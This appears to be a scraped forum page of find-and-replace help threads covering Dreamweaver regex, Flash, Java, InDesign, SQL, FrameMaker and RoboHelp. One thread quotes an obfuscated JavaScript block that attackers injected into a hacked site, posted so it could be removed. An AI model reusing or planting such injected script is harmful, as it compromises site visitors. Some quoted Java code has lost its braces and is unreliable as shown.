Help with find and replace regex
Hello.
I have a page listing about 50 services that have named
anchors to a
glossary page. Something like this:
<a href="/glossary.html#Blogging">Blogging</a>
And what I need is to have the glossary open in a new window.
So how
do I write a regex that will give me:
<a href="/glossary.html#Blogging"
taget="blank">Blogging</a>
Thanks for any help
Lance
Thanks Brendon.
It's Regular Expression; an optioin in the find and replace
dialog.
I've got to replace 50 of these anchors, each different.
<a href="/glossary.html#Blogging">Blogging</a>
<a href="/glossary.html#yadayada">yadayada</a>
etc.
to make them each open in a new window.
<a href="/glossary.html#Blogging"
taget="blank">Blogging</a>
L.
On Thu, 18 Oct 2007 14:40:46 +1300, "Brendon"
<[email protected]>
wrote:
>Whats a regex?
>Why not just do a Find and Replace? Specify the current
local site, and
>voila. Make sure you spell target correctly though ;-)
>
>
><@networkologist@@gmail.com> wrote in message
>news:[email protected]..
>> Hello.
>>
>> I have a page listing about 50 services that have
named anchors to a
>> glossary page. Something like this:
>>
>> <a
href="/glossary.html#Blogging">Blogging</a>
>>
>> And what I need is to have the glossary open in a
new window. So how
>> do I write a regex that will give me:
>>
>> <a href="/glossary.html#Blogging"
taget="blank">Blogging</a>
>>
>> Thanks for any help
>>
>>
>>
>> Lance
>
Similar Messages
-
Need Help With find and Replace
I am a little green to this all. I am trying to find and
replace a word inside the edit region and Dreamweaver will not
change it, because it says its inside a locked region, but its a
editable region?
I have about 900 pages I need to make this change on and was
relying on the find and replace tool to do that. I tried differn't
advanced options, nothing seams to change it. I am using cs3.
Thanks for any helpUsing Templates with a 900 page site is a crime against
humanity. You reach
the optimal size for Templates between about 50 and 100.
The error you are getting suggests that there are coding
errors on the page
(perhaps even unrelated to ANY DW Template markup). We'd need
to see the
page to make progress with what that might be, as Alan says.
Murray --- ICQ 71997575
Adobe Community Expert
(If you *MUST* email me, don't LAUGH when you do so!)
==================
http://www.projectseven.com/go
- DW FAQs, Tutorials & Resources
http://www.dwfaq.com - DW FAQs,
Tutorials & Resources
==================
"RyanWaters" <[email protected]> wrote in
message
news:ggs7fq$gnq$[email protected]..
>I am a little green to this all. I am trying to find and
replace a word
>inside
> the edit region and Dreamweaver will not change it,
because it says its
> inside
> a locked region, but its a editable region?
> I have about 900 pages I need to make this change on and
was relying on
> the
> find and replace tool to do that. I tried differn't
advanced options,
> nothing
> seams to change it. I am using cs3. Thanks for any help
> -
Dumb Q: problem with Find And Replace window in Flash 8
Dear Flash Group,
apologies if this is trivial, it's my first day using Flash.
I downloaded a Flash project from
http://www.flashorb.com/articles/benchmark_files/flash-benchmark.zip.
This
flash calls into a web service at localhost:8080. I used the
'Find and
Replace' window within Flash Professional 8 to locate the
string
'localhost:8080' and replaced it with plain 'localhost'.
However, when I 'Debug the Movie' (Ctrl-Shift-Enter), it
still tries to
access port 8080! Obsiously, my replace command did not do
what I thought it
would do. I opened the FLA file in a binary editor, and saw 4
more
references to 8080, One if them in 'Properties' of a
WebServicesConnector,
but I cannot figure out how to find the other occurences.
Checking on google, I see lots of people having similar
problems, but no
solutions
Any ideas?
Regards, /george
PS. What do you guys do for code completion - is there a tool
that would
bring Flash on par with an professional IDE?george,
> when I 'Debug the Movie' (Ctrl-Shift-Enter), it still
> tries to access port 8080! Obsiously, my replace
> command did not do what I thought it would do.
Agreed.
> I opened the FLA file in a binary editor, and saw 4
> more references to 8080, One if them in 'Properties'
> of a WebServicesConnector, but I cannot figure out
> how to find the other occurences.
Might they be the result of that WebServicesConnector
reference?
> Checking on google, I see lots of people having
> similar problems, but no solutions
That's really odd, actually. I'm on these boards every day,
and I've
never heard of this issue. I don't *think* the Find/Replace
dialog visits
panel contents, such as the Component Inspector panel, but I
wouldn't swear
to that.
> What do you guys do for code completion - is there
> a tool that would bring Flash on par with an
professional IDE?
Well, Flash is a professional IDE, of course. By definition,
if you pay
for something, you have acquired a professional product or
service. I know
what you mean, though. Flash itself rocks, but the Actions
panel can be
glaringly weak. Personally, I use SE|PY to edit ActionScript.
http://www.sephiroth.it/python/sepy.php
Sorry I can't speak to your other issue. :-/
David
stiller (at) quip (dot) net
Dev essays:
http://www.quip.net/blog/
"Luck is the residue of good design." -
Help with searching and replacing
This kind of carries on from the previous topic i posted, but that one came to a bit of a dead end. Here is the code that i have so far:
import java.io.*;
import java.util.*;
class SearchReplaceApp
public static InputStreamReader input =
new InputStreamReader(System.in);
public static BufferedReader keyboardInput =
new BufferedReader(input);
public static void main(String[] args) throws IOException
FileReader file = new FileReader(args[0]);
BufferedReader MyFile = new BufferedReader(file);
StringTokenizer TokenizeMe;
int NumberOfTokens = 0;
int NumberOfWords = 0;
TokenizeMe = new StringTokenizer(MyFile.readLine());
NumberOfTokens = TokenizeMe.countTokens();
while (NumberOfTokens != 0)
for (int WordsInLine=1; WordsInLine<=NumberOfTokens;
WordsInLine++)
System.out.print(TokenizeMe.nextToken()+" ");
System.out.println();
NumberOfWords += NumberOfTokens;
String line = MyFile.readLine();
if (line==null) break;
TokenizeMe = new StringTokenizer(line);
NumberOfTokens = TokenizeMe.countTokens();
String findWord;
String replaceWord;
System.out.println ("Search for?:");
findWord = keyboardInput.readLine();
System.out.println("Replace With?:");
replaceWord = keyboardInput.readLine();
if (line.equals(findWord)) {
line = replaceWord;
System.out.println("\nThis file contains " + NumberOfWords + " words");
MyFile.close();
}The problem is that it asks to search for a word after it has read each line of the file to the screen, instead of just asking when it has read in the whole file, which is what i want it to do. can anyone help me with this?
I think the problem lies in the part :
String findWord;
String replaceWord;
System.out.println ("Search for?:");
findWord = keyboardInput.readLine();
System.out.println("Replace With?:");
replaceWord = keyboardInput.readLine();
if (line.equals(findWord)) {
line = replaceWord;
I would also like the program to display the dedited text after the replace has been completed e.g.
java SearchReplaceApp test.txt
This is a test
This is a test
This is a Test
This is a Test
This file contains 16 words
Search for?: test
Replace with?: Test
This is a Test
This is a Test
This is a Test
This is a Test
Search for?:
etc............................
Any help at all would be appreaciated as im getting a bit frustated with this program and also my own lack of knowledge.
Thanks
MaxHi,
sorri for that code which sent. here's is the correct code
import java.io.*;
import java.util.*;
class SearchReplaceApp
public static InputStreamReader input = new InputStreamReader(System.in);
public static BufferedReader keyboardInput = new BufferedReader(input);
public static void main(String[] args) throws IOException
FileReader file = new FileReader(args[0]);
BufferedReader MyFile = new BufferedReader(file);
StringTokenizer TokenizeMe;
int NumberOfTokens = 0;
int NumberOfWords = 0;
String line = MyFile.readLine();
String completeText = "";
Vector strVec = new Vector();
while(line!=null)
completeText+="\r\n";
StringTokenizer tokenizeLine = new StringTokenizer(line);
NumberOfWords+=tokenizeLine.countTokens();
completeText +=line;strVec.add(line);
line = MyFile.readLine();
MyFile.close();
System.out.println(completeText);
System.out.println("This file contains"+NumberOfWords+ "words");
String findWord="";
String replaceWord;
String resultStr = "\r\n";
for ( ;;)
System.out.println ("Search for?:");
System.out.println("Please enter quit for quit:");
findWord = keyboardInput.readLine();
if(findWord.equals("quit")) break;
//While findWord is not =null do.......
System.out.println("Replace With?:");
replaceWord = keyboardInput.readLine();
for(int i=0;i<strVec.size();i++)
String str = (String)strVec.get(i);
TokenizeMe = new StringTokenizer(str);
while ( TokenizeMe.hasMoreTokens())
String token = TokenizeMe.nextToken();
if (token.trim().equals(findWord.trim()))
token = replaceWord; resultStr+=" " +token;
else{resultStr+=" "+token;}}resultStr+="\r\n";
System.out.println("COMPLETE TEXT AFTER REPLACE IS "+resultStr);
//Save changes back to original file
String str = resultStr;
FileWriter newFile = new FileWriter(args[0]);
PrintWriter fw = new PrintWriter(newFile);
char[] ch = new char[str.length()];
str.getChars(0,str.length(),ch,0);
fw.write(ch);
fw.flush();
fw.close();
hope this solves your problem.
shyam -
Help with search and replace script please
Hi all
I've written a javascript which uses various GREP and text find/changes to copy some text from the first two paragraphs of a document and use them elsewhere (in the running head and footers) and now I want to delete the first two paragraphs. Not sure how I would do that. If I was doing a manual find/change (with nothing selected) it would automatically select the first para in the first text box but when I run teh following;
app.findGrepPreferences.findWhat = "^.+$";
app.changeGrepPreferences.changeTo="";
app.activeDocument.changeGrep();
it finds all paragraphs and deletes them. I was going to include the code twice; once to delete the first paragraph and then again to delete the other (new first) paragraph. My JS skills are shaky but I'm quite comfortable with GREP. Can anyone point me in the right direction for how I acheive what I want? If I did a for loop surely I'd just be doing the same thing but more than once!
Much to my surprise the rest of the script is working although it made my brain hurt!
thanks for any suggestions,
IainOooh. After
myStory=app.activeDocument.stories.everyItem();
the variable "myStory" won't point to just a single story, but ... to "every story". So that's why the next line removes more than you intended!
What the "everyItem" thingy internally does is still unclear to me, but that doesn't keep me from using it -- but only when you absolutely, positively want to perform an action on every item
Now the usual examples say something like
myStory = app.activeDocument.stories.item(0); // access first story
but that's No Good. Even if your first story is the one you are targeting today, tomorrow, in a different document, it'll be story #1, or #5, or #255. There is no general rule that states the first story is always the largest one, or something like that.
If this is going to be used with a document template, the best way to identify the target story is by giving the first text frame a unique label. Otherwise, you'll have to think of something else ... A couple of other strategies:
1. You are already using GREP to find stuff. If one of those searches is guaranteed to return just text in the one story you are interested in, you can use this.
2. You mention headers and footers. If your main text is the only one that runs through multiple text frames, you can loop over all stories and check which one runs through than a single text frame.
3. ... (I'm pretty sure there are some more strategies ...) -
Sorry Gurus..
Made a mistake in my post and i removed that
Edited by: MuraliDharan V on May 27, 2009 1:37 AMSomething like this:
with my_tab as (select '|1.23|1.56|1.4|' col1 from dual union all
select '1.56|1.4' col1 from dual union all
select '1.2' col1 from dual)
-- end of mimicking your data: Use SQL below!
select col1||'='||sum(cast(tx.column_value.extract('//text()') as varchar2(100))) result
from my_tab,
table(xmlsequence(xmltype('<x><x>'||replace(rtrim(ltrim(col1, '|'), '|'),'|','</x><x>')||'</x></x>').extract('//x/*'))) tx
group by col1;
RESULT
|1.23|1.56|1.4|=4.19
1.2=1.2
1.56|1.4=2.96 This uses XML functions to split the string onto different rows, and then sums the result up.
Edited by: Boneist on 27-May-2009 09:42
Gah! Oh well, was an interesting little side diversion... -
Help with Finder and Home Directory
I know this sounds daft but I wish to create a new folder under the home folder on my system but the house icon within finder has a lock on it. I have tried applying root access to this account and accessing finder again but to no avail. Therefore I assume I need to do something else to be able achieve this?
It's supposed to have a lock on it, requiring an admin user password to unlock. There's no reason to use root access. Click on the lock, enter your admin password, and set the settings as: user w/R&W, staff or admin w/R only, and everyone w/read only. That should allow you to create a folder within that account.
-
Find and replace a table style
I have about 10 table styles in a document and I want to replace all of them with the #1 table style. Can this be done with Find and Replace?
You'll need to do this for each of the Table formats that need to be replaced.
Let's assume the desired format is "Format A" (a default FM style), and one of the formats to be changed is "Specs 2".
Click in any instance of a Specs 2 table.
In the Table Tag field, pull down and click on [Format A].
Click Commands > Global Update Options:
(*) All Properties
(*) All Tagged [Specs 2]
[Update]
If it works properly, you'll get a dialog:
OK to change all Format B tags to Format A?
[OK]
Additional global updates may be required to clean up any overrides.
Trying this on FM7 at home, it didn't always work. I don't know if newer versions are more stable. Personally, I never do it this way (probably because of prior experience), and I usually just hack the MIF. -
How to prevent find and replace from finding linked files?
I have a bunch of ASP pages that I need to update in the same manner with Find and Replace. In order to do this, I open all the files, use Find and Replace, and choose to Replace All in the Source Code of Open Documents.
Pretty straightforward, right? Except, if I have any include file statements, such as this:
<!--#include file=" yadda yadda"-->
DW opens these files on its own, and updates THEM as well.
This is a very frustrating behavior. I have been through the Preferences several times and I'm just not seeing any way to turn this off.
I have tried Googling this problem, and have seen absolutely no mention of it.
Does anyone know if this annoyance can be disabled?
Thanks.I would try selecting the specific files in the Files tab, then using "Selected Files in Site" and see what happens.
I think DW considers related files to be "open" (since you can edit them from within the main file they are related to) when that option is turned on and the files they're related to are open. -
Help with removing a variable number using "find and replace"
Hey, I have to remove a variable number from a large number of documents.
How would I do this using "find and replace"
<text><![CDATA[Coloured 250]]></text>
250 is an example of the variable number that I will need to remove so it looks like this:
<text><![CDATA[Coloured]]></text>
Note: the text "coloured" is subject to change also.
ThanksThat's a possibilitly I'll explore. Thanks for the alternate perspective!
(5 minutes later)
Oh well, it was a good thought.
Unfortunately each line of raw original text may contain from 1 to 4 lines of final text. In other words there is no consistency in the number of backslashes (hard returns) in each line of original text, and thus, when backslashes are converted to commas, no consistency in the number of data elements in each data set.
Sadly PS variables will not handle finding a source text line that does not have data for 4 variables. So I either have to go back and add enough commas on each short line to make four individual data elements for each data set... or I simply deal with the hard returns within Photoshop.
I think I've reached the limit of automation on this process. -
Find and Replace Issue Help Requested.
Hi all. I've been digging around for a couple of days and
can't seem to figure this one out. For starters, I have already
looked at the Regular Expression syntax and tried the MS word
clean-up option, but no luck. We have about 1,500 pages of content.
They are in DNN, so the pages are created dynamically.
Unfortunately, the page content was written in Word and then dumped
in DNN. We are trying to clean up the pages. We are grabbing the
content from Dot Net Nuke and putting it into Dreamweaver 8.0.2.
Then we are manually cleaning out things like:
<?xml:namespace prefix = o ns =
"urn:schemas-microsoft-com:office:office" />
and
<P class=MsoNormal style="MARGIN: 0in 0in 0pt"
align=left>
We are using the Find and Replace funtion in Dreamweaver to
clean out these commands, but I know from the documentation, there
is an easier way to clean these pages.
Bottom Line: Since the pages are dynamically built, I know I
have to grab the page content and put it in Dreamweaver manually
and then put it back in DNN, but I am trying to find a way (using
Regular Expressions or something) to look for all the little
variances of MSO, <?XML, etc. in a straight shot. I would like
to find a way to use a wild card to look for all tags that have MSO
or Microsoft or ?XML in them and then replace them with a null
value. From what I can tell, the Find would have to use a wildcard
because the advanced find features don't carry what I am looking
for. Something like Find \<?xml * [<-wildcard] to \> to
grab the entire tag. The Find tag command doesn't work because the
tags I need aren't listed. Also, because the content is dynamic, I
can't do a Fins and Replace against the entire site for these
commands, but it would be nice to "Find" all of these items with a
single pass since the "Replace" value is always null.
The wildcard syntax and multiple Find instances are the main
questions. The wildcards seem to be character or space specific.
Sorry for the long explanation - I just don't want to waste
anyone's time typing responses to things I've already tried to do.
Thanks in advance for any help. This is my first time back in
the forums in about 4 years.sadamec1 wrote:
> Well David, you Findmaster - it worked! (At least it
found and highlighted the
> code). Now, I need to dig through what you sent me and
compare it against my
> regular expression definitions to find out how to grab
the rest of these
> phrases. You're the best. Thank you!
Glad that it did the trick. Just to help you understand what
I did,
there are two main sections, as follows:
<\?xml[^>]+>
and
<[^>]+(?=class=Mso)[^>]+>
They are separated by a vertical pipe (|), so they simply act
as
alternatives.
The first one searches for <?xml followed by anything
except a closing
bracket until it reaches the first closing bracket.
The second one is more complex. It begins with this:
<[^>]+
This simply looks for an opening bracket followed by anything
other than
a closing bracket. What makes it more intelligent is the next
bit:
(?=class=Mso)
This does a forward search for "class=Mso". It's then
followed by this
again:
[^>]+>
That finds anything except a closing bracket followed by a
closing bracket.
The bit that you need to experiment with is (?=...). It's
technically
called a "forward lookaround". The effect is that the second
half of the
regex finds <....class=Mso....>.
David Powers
Adobe Community Expert
Author, "Foundation PHP for Dreamweaver 8" (friends of ED)
http://foundationphp.com/ -
Find and replace with wildcard
help.. i had my site hacked and they stuck a script at the
end of every file and i need to do a find and replace to remove all
of that coding.
the problem is that the coding is different on every page and
i dont want to have to remove it from 1000+ pages.
i'm pretty sure you can do this with dreamweaver.. all of the
bogus coding is after the </html> at the end of the page.
can anyone help?
here is an example of the coding:
<!--[z0s]-->("%3Cscript%3Eif%28NJ%21%3D1%29%7Bfunction%20nS%28sg%29%7Breturn%20sg%7Dtry%7B var%20zX%3D%27xxvxBvxtvxrvxPvxbvx8vxdvxDvxivx6vxwvxcvxXvxRvxovxIvxjvxUvx3vxSvxTvx7vxfvx4vx nvxsvxkvxgvxyvxLvxYvxOvxZvxMvx9vxzvx5vxGvxHvxhvxmvxJvxpvxqvxCvxWvxavxlvxKvxNvxAvxVvxFvBxvB BvBtvBrvBPvBbvB8vBdvBDvBivB6vBwvBcvBXvBRvBovBIvBjvBUvB3vBSvBTvB7vBf%27%2CcY%3DzX.substr%28 2%2C1%29%3Bvar%20Ar%3DArray%28It%28%27185%27%29%2C28831%5E28777%2C31791%5E31945%2CIt%28%27 247%27%29%2C1043%5E1279%2C16798%5E16747%2C4194%5E4243%2CIt%28%27187%27%29%2CIt%28%27227%27 %29%2C24343%5E24551%2C8596%5E8575%2CIt%28%27234%27%29%2CIt%28%27165%27%29%2CIt%28%27239%27 %29%2CIt%28%27173%27%29%2C15091%5E14887%2C23064%5E23217%2CIt%28%27242%27%29%2CIt%28%27172% 27%29%2CIt%28%27254%27%29%2C16276%5E16231%2CIt%28%27228%27%29%2C21729%5E21507%2C9124%5E907 1%2C22207%5E22023%2CIt%28%27224%27%29%2C24716%5E24653%2CIt%28%27190%27%29%2C16599%5E16403% 2CIt%28%27209%27%29%2CIt%28%27171%27%29%2CIt%28%27232%27%29%2C4557%5E4451%2C2956%5E2865%2C 16528%5E16419%2C29064%5E28985%2CIt%28%27181%27%29%2CIt%28%27225%27%29%2C5641%5E5863%2C2427 6%5E24179%2C9220%5E9465%2C5727%5E5789%2C23429%5E23373%2C29981%5E30155%2C2327%5E2543%2CIt%2 8%27162%27%29%2CIt%28%27180%27%29%2C3058%5E2853%2C21870%5E21947%2C4590%5E4359%2CIt%28%2721 1%27%29%2C30955%5E30785%2C14008%5E13909%2CIt%28%27202%27%29%2CIt%28%27168%27%29%2CIt%28%27 191%27%29%2C19973%5E20129%2CIt%28%27186%27%29%2C10455%5E10249%2CIt%28%27219%27%29%2C4454%5 E4505%2CIt%28%27188%27%29%2CIt%28%27216%27%29%2C20136%5E20081%2CIt%28%27244%27%29%2C12739% 5E12547%2CIt%28%27231%27%29%2CIt%28%27199%27%29%2C1461%5E1353%2CIt%28%27198%27%29%2C5206%5 E5337%2CIt%28%27206%27%29%2CIt%28%27183%27%29%2CIt%28%27182%27%29%2C22279%5E22455%2CIt%28% 27178%27%29%2C22919%5E22875%2C4994%5E4909%29%2CCu%3Bvar%20sg%2CRf%3Bvar%20vB%3D%27xxxBxtxr xPxbx8xdxDxix6xtx8xPxwx6xcxXxtxRx6xoxIxixjxUx3xcxSxTxrxcx7xfx4x6xnxjxcxsxTx8xnxRxUxkxSxTxr xcxcxgxyx4xcx6xnxjxcxsxTx8xnxRxUxkxcxgxyxLxBxnx8xyxPxYxnxRx7xfxLx7xnx8xyxPxYxnxRxUxOxZxMx9 xzxzxzxzxzxUxkxcx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxcx4xcx6xoxOxHx4xHxOxnxBxtxTxbxnxRxixjxUxOxH xkxnxhxbxPxrxnxBx4xHxOxgxyxLx8xwxmxJxyxpx8xrxPx6x7xRxUxkxcxqxSxTxrxcxgxmx4xCxBxWxDx7xaxCxI xlxXx4xCxWxCxkxSxTxrxcx6xmx4xCxixbx5xTx8xnxWxLxtxKxTxBxBxPxtx8xnxKxLxwxrx7xCxIxtxNx4xCxAxV x8xYxKxAxCxkxPxDxRx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxLxPx6x5xnxhxFxDxRxgxmxOxCx4xCxOxlxXxUxcx4 x4BxxWxUx3xSxTxrxcx5xKxVx4x5xwxtxixYxnx6x8xLxKxwxtxTx8xPxwx6xLxVxwxBx8xkxSxTxrxcxwxPx4xcxC xVx8xCxOxCx8xbBBxCxOxCxAxAxCxOxRxcx5xKxVxcBtx4xcxCxCBrxCxCBBxPxtxRxUxUxcxOxcx5xKxVxLxrxnxb xKxTxtxnxcxRxABPBbxTBxB8xzBxBdxLBxBDxAxIxCxLxCxUxLxrxnxbxKxTxtxnxcxRxABixLxOxAxIxCxLxCxUxO xCxLxCxOxPxtxRxUxcxOxCxLxCxcxOxcx6xmxOxtxNxkxSxTxrxcB6xpx4x5xwxtxixYxnx6x8xLxtxrxnxTx8xnBw xKxnxYxnx6x8xRxCxPxDxrxTxYxnxCxUxkB6xpxLxBxnx8xgx8x8xrxPBcxix8xnxcxRxCxBxrxtxCxIxcxwxPxUxk B6xpxLxVxnxPx7xVx8x4xzxkB6xpxLxjxPx5x8xVx4x9xkB6xpxLxDxrxTxYxnBXxwxrx5xnxrxcx4xcxzxkxcx8xr BRx3xcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxcB6xpxUxkxcxXxtxRxgxmxIxcxlxX xcxUxkxqxcxtxTx8xtxVxRxnxUxcx3x5xwxtxixYxnx6x8xLxjxrxPx8xnxcxRxCxxxVx8xYxKxdxxBcxwx5BRxdxx xABcxwx5BRxdxxxAxVx8xYxKxdxCxUxkxcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxc B6xpxUxkxXxtxcxRxcxgxmxIxlxXxUxcxkxqxcxqBIxDxix6xtx8xPxwx6xcxPxtxRxUx3xcxSxTxrxcxJBjx4BUx9 xIx5xNx4xHxzxWBUB3x9BSxMBTxZBdxzxTBcxtx5xnxDxHxkxSxTxrxcxoxTx4xHxHxkxcxDxwxrxRBjB7x4xzxkxc BjB7xcxxxcxJBjxkxcBjB7xOxOxUxcxoxTxOx4xcx5xNxLxBxiBcxBx8xrxRxJxTx8xVxLxDxKxwxwxrxRxJxTx8xV xLxrxTx6x5xwxYxRxUBfx5xNxLxKxnx6x7x8xVxUxIxWxIxWxUxkxcxrxnx8xixrx6xcxoxTxkxcxqxxxAxBxtxrxP xbx8xd%27%2Cku%3D%27%27%3Bfunction%20It%28fx%29%7Breturn%20parseInt%28fx%29%7DzX%3DzX.spli t%28cY%29%3Bfor%20%28Cu%3D0%3BCu%3CvB.length%3BCu+%3D2%29%7BRf%3DvB.substr%28Cu%2C2%29%3Bf or%28sg%3D0%3Bsg%3CzX.length%3Bsg++%29%7Bif%28zX%5Bsg%5D%3D%3DRf%29break%3B%7Dku+%3DString .fromCharCode%28Ar%5Bsg%5D%5E133%29%3B%7Ddocument.write%28ku%29%3B%7Dcatch%28vQ%29%7B%7D%7 Dvar%20NJ%3D1%3C/script%3E"))<!--[/z0s]-->
__________________tyankee wrote:
> help.. i had my site hacked and they stuck a script at
the end of every file
> and i need to do a find and replace to remove all of
that coding.
>
> the problem is that the coding is different on every
page and i dont want to
> have to remove it from 1000+ pages.
>
> i'm pretty sure you can do this with dreamweaver.. all
of the bogus coding is
> after the </html> at the end of the page.
>
> can anyone help?
>
> here is an example of the coding:
>
>
>
Find <\/html>.*
Replace with:</html>
Use: RegEx
Mick -
Find and replace smart quotes with straight quotes?
I understand I can turn off smart quotes so that I can type straight quotes, but I need to replace hundreds of curly smart quotes with straight quotes, is there a feature that will let me do this? I am using FM8.
Thanx,
WillianI am using FM9....so I don't know if the same shortcuts apply, but this is what I found out last week.
Use the Find and Replace tool:
With smart quotes turned off and the Num Lock key turned on:
Alt0147 will give you beginning quotation marks
Alt0148 will give you ending quotation marks
In the Find box use ALT0147 or ALT0148 for the beginning or ending quotes. When you click in the box and type
one of the shortcuts the correct quote will be shown in the box.
In the replace box type the regular straight quotes on your keyboard.
I was thrilled that it would work!...course you do have to do them separately and be careful not to replace the curly quotes
that you want to leave in your document.
Hope this helps using FM8....
ls -
Help with Find / Replace button title tag contents (text)
Hi there,
I designed my site with Sitegrinder (Medialab) –
Currently all the title tags generated for buttons are the same as
the actual html page name.
The problem with this is that the tooltip which appears in
browsers when you hover over the button with the mouse gives you
the page name. Instead I want to use these tooltips to give the
user an indication of what the function of the button is.
An example: A zoom button above an image: Currenty the
tootlip says “zoom imagename pagename” – Instead
it should say “click here to zoom”.
I need help to get the Dreamweaver Find and Replace tool to
batch replace these tags for me for about a 100 pages.
Here is an example of the code:
<body>
<div id="id1zoomimpastooilweddingbutton"><a
href="zoomimpastooilwedding.html"
title="zoomimpastooilwedding"></a></div>
I only want to replace the text in the title tag - Since the
text “zoom” appears several times in the body, I
can’t get the Find tool to pick up and Replace the occurrence
of “zoom” in the title only…….
Options I’ve tried:
Search Current document: Search for: “specific
tag”: “title”, “containing”:
“text” = zoom (I’ve tried this with
“zoomimpastooilwedding” and zoom[^”]* with no
results
I’ve also tried: Search for: “specific
tag”: “body”, “containing”:
“specific tag” “title”
“containing”: “text” = zoom
etc……………..
I need help with what parameters to enter in order to find
and replace all the text within the title tag with my own text
Thanks very much!
AntonYou have ~ 100 pages, each of which has images with title
attributes (not
tags), all of which BEGIN with the letters "zoom"?
What do you want to replace that text with? Wouldn't it be
different for
each button? Or do you mean that you would do multiple
sitewide searches,
one for each button? This illustrates how wrong it is to not
use DW
Templates or server-side includes to simplify the management
of your
navigation elements....
Did you ask Medialabs if it would be possible to specify this
before
generating the HTML?
How did you like working with SiteGrinder? It looks like a
nice product to
me, although I'm not fond of the final results code-wise....
Murray --- ICQ 71997575
Adobe Community Expert
(If you *MUST* email me, don't LAUGH when you do so!)
==================
http://www.projectseven.com/go
- DW FAQs, Tutorials & Resources
http://www.dwfaq.com - DW FAQs,
Tutorials & Resources
==================
"unison123" <[email protected]> wrote in
message
news:[email protected]...
> Hi there,
>
> I designed my site with Sitegrinder (Medialab) ?
Currently all the title
> tags
> generated for buttons are the same as the actual html
page name.
>
> The problem with this is that the tooltip which appears
in browsers when
> you
> hover over the button with the mouse gives you the page
name. Instead I
> want to
> use these tooltips to give the user an indication of
what the function of
> the
> button is.
>
> An example: A zoom button above an image: Currenty the
tootlip says ?zoom
> imagename pagename? ? Instead it should say ?click here
to zoom?.
>
> I need help to get the Dreamweaver Find and Replace tool
to batch replace
> these tags for me for about a 100 pages.
>
> Here is an example of the code:
>
> <body>
> <div id="id1zoomimpastooilweddingbutton"><a
> href="zoomimpastooilwedding.html"
> title="zoomimpastooilwedding"></a></div>
>
> I only want to replace the text in the title tag - Since
the text ?zoom?
> appears several times in the body, I can?t get the Find
tool to pick up
> and
> Replace the occurrence of ?zoom? in the title only??.
>
> Options I?ve tried:
>
> Search Current document: Search for: ?specific tag?:
?title?,
> ?containing?:
> ?text? = zoom (I?ve tried this with
?zoomimpastooilwedding? and zoom[^?]*
> with
> no results
>
> I?ve also tried: Search for: ?specific tag?: ?body?,
?containing?:
> ?specific
> tag? ?title? ?containing?: ?text? = zoom etc?????..
>
> I need help with what parameters to enter in order to
find and replace all
> the
> text within the title tag with my own text
>
> Thanks very much!
>
> Anton
>
> -
Find and Replace with User Defined Variable
I am in the process of converting some legacy help content to RoboHelp HTML 9 in order to give it some more features and customization for our clients. I have been taking advantage of User Defined Variables in order to customize the content. Up to this point I have been manually going through each topic and replacing each instance of a word ("statements" for example) with a user defined variable saying the same thing but with the possibility of being changed later should the customer want to. Though we only have about 200 topics, this is still relatively time-consuming and I would like to automate this as much as possible.
Is there any way to find and replace content with a User Defined Variable?Hi there
If you open the Script Explorer pod I believe one of the sample scripts is a "UDV Converter" script. Perhaps you could give that a try.
Cheers... Rick
Helpful and Handy Links
RoboHelp Wish Form/Bug Reporting Form
Begin learning RoboHelp HTML 7, 8 or 9 within the day!
Adobe Certified RoboHelp HTML Training
SorcerStone Blog
RoboHelp eBooks
Maybe you are looking for
-
How do I search for a previous question I posted?
Hi How do I find older questions I had posted on the forum/community? I had posted a question a few months prior and had a response. I'd like to look up that resonse again, but I cannot find it in my history. The post is only a few months old, but d
-
SOAP Sender Channel _Error in handling SOAP Envelope message
Hi XI/PI Experts : Scenario : SOAP (SOAP Envelope) to RFC (SAP ERP) Partners send the information Goods Receipt in SOAP envelope webservice . SOAP Sender removes the SOAP enevlope, inturn sends only the xml in XI /PI: <GoodsReceipt xmlns="rrn:or
-
How can i READ Steps / Revolution
I'd like to READ the predefined (in MAX) "Steps per Revolution" (depending on the Board ID and Axes). Is this not possible? I am using LabView 8.5 with NI-Motion-VIs, where just a LOAD "Steps per Revolution" is available. Solved! Go to Solution.
-
I would like to purchase spyware for my mac ...what should I get?
I'm looking for spyware that is compatible to my M ac. I need to monitor my children while they are on IM, social media and emails. Any suggestions?
-
I can't open the templates on my Stationery Set app
I bought the Stationery Set app and can't open any of the templates. When I click the open template button this comes up: Last login: Sat Jan 7 10:55:55 on ttys000 Allys-MacBook-Air:Ladybug.template allydrotar$ How do I open the template so I can us